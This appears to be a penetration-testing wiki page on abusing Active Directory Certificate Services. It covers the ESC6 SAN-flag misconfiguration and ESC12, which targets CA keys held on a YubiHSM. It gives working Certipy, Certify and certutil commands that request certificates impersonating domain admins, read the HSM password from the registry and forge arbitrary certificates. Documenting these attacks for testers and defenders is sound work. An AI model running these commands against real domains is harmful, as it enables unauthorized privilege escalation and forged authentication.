Certificate authority

Theory

Certificate Authority misconfiguration

In their research papers, Will Schroeder and Lee Christensen found a domain escalation vector based on a dangerous CA setting (i.e. the EDITF_ATTRIBUTESUBJECTALTNAME2 flag). The escalation vector was dubbed ESC6.

When the flag is set on the CA, templates configured for authentication (i.e. EKUs like Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)) and allowing low-priv users to enroll can be abused to authenticate as any other user/machine/admin.

The default User template checks all the template requirements stated above.

If the CA is configured with the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (admins tend to enable that flag without knowing the security implications), and the User template is enabled (which is very often), any user can escalate to domain admin.

May 2022 security updates broke the ESC6 attack.

YubiHSM Key Storage Provider

As described by Hans-Joachim Knobloch in his article ESC12 – Shell access to ADCS CA with YubiHSM, administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. "In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword in cleartext."

Practice

EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6)

UNIX-like

From UNIX-like systems, Certipy (Python) can be used to enumerate info about the CAs, including the "User Specified SAN" flag state which is an alias to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -stdout | grep "User Specified SAN"

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

Once the right template is found (i.e. the default User template) (how to enumerate), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

#To specify a user account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

#To specify a computer account in the SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -template 'vulnerable template' -dns 'dc.domain.local'

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

Windows

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including the "UserSpecifiedSAN" flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

Certify.exe cas

If the flag is enabled on a CA, certify can then be used to find all enabled templates configured with EKUs allowing for authentication, and allowing low-priv users to enroll.

Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

Once the right template is found (i.e. the default User template), a request shall be made to obtain a certificate, with another high-priv user set as SAN (subjectAltName).

Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"

The certificate can then be used with Pass-the-Certificate to obtain a TGT and authenticate.

Shell access to ADCS CA with YubiHSM (ESC12)

Redirect the USB device server

UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

Windows

From a Windows machine, if the YubiHSM device is connected through a USB device server, with sufficient administrative access to this server it could be possible to redirect the YubiHSM connection to a controlled machine.

Read the password value in the HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword registry key, and configure it in the controlled server registry.

Then, find a way to configure the USB device server to connect to the attacker controlled server. For this step, the different tasks to perform may vary between the USB device server solutions in use.

Generally USB device server solutions can't connect the device to multiple systems at once. If the device is disconnected from the CA server, the CA will stop working.

Forge a certificate

If the CA's private key is stored on a physical USB device such as "YubiHSM2", and a shell access is obtained on the PKI server (even with low privileges), it is possible to recover the key.

UNIX-like

At the time of writing, no solution exists to perform this attack from a UNIX-like machine.

Windows

From a Windows machine, as a low privileged user connected into the CA server, obtain the CA certificate (it is public) and import it to the user store:

certutil -addstore -user my <CA certificate file>

Next, the certificate must be associated to the private key in the YubiHSM2 device:

certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>

Finally, use the CA certificate and its private key with the certutil -sign command to forge new arbitrary certificates.

Resources

https://posts.specterops.io/certified-pre-owned-d95910965cd2posts.specterops.io

Hidden Dangers: Certificate Subject Alternative Names (SANs)Keyfactor

Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!Medium

ESC12 – Shell access to ADCS CA with YubiHSMBemerkungen über Public Key Infrastrukturen